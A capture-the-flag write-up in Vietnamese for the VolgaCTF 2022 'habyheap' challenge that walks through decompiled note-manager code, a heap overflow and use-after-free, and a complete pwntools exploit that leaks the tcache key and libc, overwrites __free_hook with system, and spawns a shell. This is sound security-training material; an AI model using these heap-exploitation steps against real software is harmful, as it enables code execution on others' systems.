--- title: '[VolgaCTF Qual 2022] habyheap' tags: writeup, heap --- [toc] ## SOURCE > Libc phiên bản 2.33 => chú ý key > ![](https://i.imgur.com/iHE4wT1.png) ![](https://i.imgur.com/Uet1LtJ.png) ## REVERSE > Dưới đây là các hàm liên quan ### Main ```c= int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+Ch] [rbp-4h] BYREF v4 = 0; setup(argc, argv, envp); puts("----YET ANOTHER NOTE TASK----"); while ( 1 ) { while ( 1 ) { menu(); __isoc99_scanf("%d", &v4); if ( v4 != 4 ) break; print_note(); } if ( v4 > 4 ) break; switch ( v4 ) { case 3: delete_note(); break; case 1: add_note(); break; case 2: edit_note(); break; default: return 0; } } return 0; } ``` ### Print ```c= int print_note() { int result; // eax unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF v1 = 16; write(1, "\nInput your index>> ", 0x14uLL); if ( (int)__isoc99_scanf("%u", &v1) <= 0 ) exit(0); if ( v1 <= 0xF && *((_QWORD *)&ptrs + v1) ) result = puts(*((const char **)&ptrs + v1)); else result = puts("Index is out of bounds"); return result; } ``` ### Add ```c= int add_note() { unsigned int v1; // ebx unsigned int v2; // [rsp+8h] [rbp-18h] BYREF int v3[3]; // [rsp+Ch] [rbp-14h] BYREF v2 = 16; v3[0] = 0; write(1, "\nInput your index>> ", 0x14uLL); if ( (int)__isoc99_scanf("%u", &v2) <= 0 ) exit(0); if ( v2 > 0xF || *((_QWORD *)&ptrs + v2) ) return puts("Index is out of bounds"); write(1, "1 for big, 0 for smol >> ", 0x19uLL); if ( (int)__isoc99_scanf("%u", v3) <= 0 ) exit(0); v1 = v2; if ( v3[0] ) { *((_QWORD *)&ptrs + v1) = malloc(0x79uLL); memset(*((void **)&ptrs + v2), 0, 0x79uLL); } else { *((_QWORD *)&ptrs + v1) = malloc(0x68uLL); memset(*((void **)&ptrs + v2), 0, 0x68uLL); } write(1, "Input your data>> ", 0x12uLL); return read(0, *((void **)&ptrs + v2), 0x78uLL); } ``` > Cho phép tạo tối đa 16 ptr, size hoặc 0x68 hoặc 0x79 byte, rồi ghi vào ptr đó. ### Delete ```c= void delete_note() { unsigned int v0; // [rsp+Ch] [rbp-4h] BYREF v0 = 16; write(1, "\nInput your index>> ", 0x14uLL); if ( (int)__isoc99_scanf("%u", &v0) <= 0 ) exit(0); if ( v0 <= 0xF && *((_QWORD *)&ptrs + v0) ) free(*((void **)&ptrs + v0)); else puts("Index is out of bounds"); } ``` > Check index và ptr rồi free. ### Edit ```c= int edit_note() { unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF v1 = 16; write(1, "\nInput your index>> ", 0x14uLL); if ( (int)__isoc99_scanf("%u", &v1) <= 0 ) exit(0); if ( v1 > 0xF ) return puts("Index is out of bounds"); write(1, "Input your data>> ", 0x12uLL); return read(0, *((void **)&ptrs + v1), 6uLL); } ``` > Ghi 6 bytes vào ptr sau khi đã check index. ## VULN * Hàm `add` cho tạo ptr size hoặc 0x68 hoặc 0x79 bytes nhưng luôn cho ghi 0x78 bytes => heap overflow. * Hàm `delete` sau khi free không set ptr về 0 => UAF. ## APROACH Đầu tiên vì là libc 2.33 nên cần chú ý leak key, chúng ta có UAF nên chỉ cần print ra một ptr trong bin là leak được key. Tiếp theo, để phải leak libc bằng cách print ra một ptr nằm trong unsorted bin. Nhưng chương trình chỉ cho phép tạo con trỏ 0x68 hoặc 0x79 bytes nên phải dùng heap overflow ghi đè size của ptr để fake một unsorted bin. Cuối cùng, để lấy con trỏ tại một địa chỉ bất kì, chúng ta dùng UAF đè next_ptr của một ptr nằm trong tcache bin. (Chú ý địa chỉ phải được xor với key) ## STEPS 1. Tạo nhiều ptr với ptr đầu tiên là 0x68 và tổng size lớn hơn max size của tcache bin (0x408), sau đó free tất cả trừ ptr đầu 2. Leak key. 3. Từ ptr đầu ghi đè size của next chunk, free chunk tiếp theo để đưa fake chunk vào unsorted bin. 4. Leak libc base từ fake chunk. 5. Ghi đè __free_hook thành system. 6. Free chunk chứa `/bin/sh` để lấy shell. ## PAYLOAD ```python= # -- coding: utf-8 -- from pwn import * # ENV PORT = 21337 HOST = "habybeap.q.2022.volgactf.ru" e = context.binary = ELF('./habybeap_patched') # lib = ELF('') lib = e.libc if len(sys.argv) > 1 and sys.argv[1] == 'r': r = remote(HOST, PORT) else: r = e.process() # VARIABLE def add(idx, size, data, endline=True): r.sendlineafter("choice>>", "1") r.sendlineafter("r index>>", str(idx)) r.sendlineafter(">>", str(size)) if endline: r.sendlineafter("data>>", data) else: r.sendafter("data>>", data) def edit(idx, data, endline=True): r.sendlineafter("choice>>", "2") r.sendlineafter(">>", str(idx)) if endline: r.sendlineafter("data>>", data) else: r.sendafter("data>>", data) def remove(idx): r.sendlineafter("choice>>", "3") r.sendlineafter(">>", str(idx)) def _print(idx): r.sendlineafter("choice>>", "4") r.sendlineafter(">>", str(idx)) # PAYLOAD ## STEP 1 add(0, 0, "asd") add(1, 1, "sad") for i in range(10): add(i+2, 0, "1") for i in range(6): remove(i+2) remove(0) remove(9) remove(8) ## STEP 2 _print(9) leak = u64(r.recvline().strip().ljust(8, '\0')) base = leak * 0x1000 info("Key: 0x%x" % leak) ## STEP 3 add(12, 0, "a"*0x68 + p64(0x481), endline=False) remove(1) edit(1,"a", endline=False) ## STEP 4 _print(1) leak1 = u64(r.recvline().strip().ljust(8, '\0')) base = (leak1 & 0xffffffffffffff00) - 0x1e0c00 info("Base: 0x%x" % base) lib.address = base ## STEP 5 edit(7, p64(lib.sym.__free_hook^leak)[:-2], endline=False) add(13, 0, '/bin/sh') add(14, 0, p64(lib.sym.system), endline=False) ## STEP 6 remove(13) r.interactive() ``` ![](https://i.imgur.com/ZdGWAZJ.png)